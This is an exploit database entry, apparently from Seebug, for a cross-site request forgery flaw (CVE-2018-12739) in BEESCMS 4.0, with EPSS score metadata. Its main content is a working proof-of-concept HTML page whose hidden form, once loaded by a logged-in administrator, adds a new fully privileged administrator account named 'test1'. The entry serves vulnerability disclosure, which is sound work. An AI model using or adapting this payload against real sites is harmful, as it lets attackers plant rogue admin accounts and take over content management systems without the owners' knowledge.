BEESCMS 4.0 - Cross-Site Request Forgery (Add Admin)(CVE-2018-12739)

2018-06-2900:00:00

Knownsec

www.seebug.org

0.002 Low

EPSS

Percentile

56.0%

JSON


                                                <html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.211.55.17/beescms/admin/admin_admin.php?nav=list_admin_user&admin_p_nav=user" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="admin_name" value="test1" />
      <input type="hidden" name="admin_password" value="test1" />
      <input type="hidden" name="admin_password2" value="test1" />
      <input type="hidden" name="admin_nich" value="test1" />
      <input type="hidden" name="purview" value="1" />
      <input type="hidden" name="admin_admin" value="" />
      <input type="hidden" name="admin_mail" value="" />
      <input type="hidden" name="admin_tel" value="" />
      <input type="hidden" name="is_disable" value="0" />
      <input type="hidden" name="action" value="save_admin" />
      <input type="hidden" name="submit" value="确定" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

0.002 Low

EPSS

Percentile

56.0%

JSON

Related for SSV:97392